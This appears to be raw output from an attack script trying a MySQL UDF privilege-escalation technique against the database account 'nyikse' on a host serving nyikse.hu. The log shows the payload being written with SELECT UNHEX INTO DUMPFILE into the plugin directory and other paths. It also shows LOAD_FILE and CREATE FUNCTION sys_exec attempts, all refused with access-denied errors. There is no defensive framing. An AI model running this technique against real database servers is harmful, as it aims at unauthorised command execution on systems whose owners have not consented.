=== MySQL UDF Install ===
SO size: 7192 bytes
MySQL connected
Hex length: 14384
Executing: SELECT UNHEX(...) INTO DUMPFILE '/usr/lib/mysql/plugin/udf_sys.so'
WRITE ERROR: Access denied for user 'nyikse'@'localhost' (using password: YES)
Try /tmp/: FAIL: Access denied for user 'nyikse'@'localhost' (using password: YES)
Try /var/www/virtual/nyikse.hu/htdocs/documents/: FAIL: Access denied for user 'nyikse'@'localhost' (using password: YES)

=== Alternative: LOAD_FILE direct ===
LOAD_FILE method: Access denied for user 'nyikse'@'localhost' (using password: YES)

Creating sys_exec: CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf_sys.so'
CREATE ERROR: Access denied for user 'nyikse'@'localhost' to database 'mysql'

Checking plugin dir accessibility...
plugin_dir: /usr/lib/mysql/plugin/